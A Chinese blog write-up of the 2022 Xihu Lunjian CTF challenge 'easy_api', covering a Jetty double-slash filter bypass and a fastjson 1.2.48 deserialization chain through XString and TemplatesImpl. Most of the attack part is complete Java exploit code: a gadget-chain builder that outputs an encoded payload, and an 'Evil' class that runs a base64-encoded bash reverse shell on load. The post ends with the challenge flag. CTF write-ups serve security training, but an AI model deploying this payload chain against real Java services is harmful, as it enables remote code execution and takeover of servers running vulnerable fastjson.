[西湖论剑 2022]easy_api

源码审计

下载附件得war包,bandzip解压一下,审一下源码:

这个没啥东西。

反序列化入口,但是访问这里是需要绕过的:

其实绕过也很简单,双斜杠就绕了:web.xml filter 绕过匹配访问(针对jetty)_jetty权限绕过-CSDN博客

看lib里有啥依赖:

fastjson1.2.48,这不老熟人了吗.....

 

EXP

fastjson最经典的部分是自动触发getter来getProperties加载字节码,如何触发getter可以通过JSON.parse触发,也可以通过toJSONString触发,很有意思的是JSON这个类的tostring就是toJSONString:

题目ban了BadAttributeValueExpException来触发tostring,用xstring来触发,复制之前的部分即可。

利用链:

readObject->hashmap.put
->xstring.tostring
->JSON.tostring
->templates.getproperties

利用xstring来触发fastjson的tostring,然后就能触发任意类的get方法,再塞一个templatesimpl的对象就可以正常反序列化这个恶意的templatesimpl了。

package com.eddiemurphy;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;

public class Exp {
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "Evil");
        setFieldValue(templates, "_class", null);
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("jb", templates);
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        try{
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
            outputStream.writeObject(s);
            System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
            outputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}
package com.eddiemurphy;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {

    public Evil() {
        super();
        try {
            Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

发包就完了:

找半天没找到flag,还以为在root里想suid提权,但是提不了。

最后tmp里找到了:

find / -name flag

NSSCTF{72dbe629-dca5-422e-b192-40bb6de2d72a}

 

参考:

西湖论剑 Writeup by or4nge (or4ngesec.github.io)

2023西湖论剑web-writeup题解wp | CTF导航 (ctfiot.com)

posted @ 2024-05-06 16:18  Eddie_Murphy  阅读(15)  评论(0编辑  收藏  举报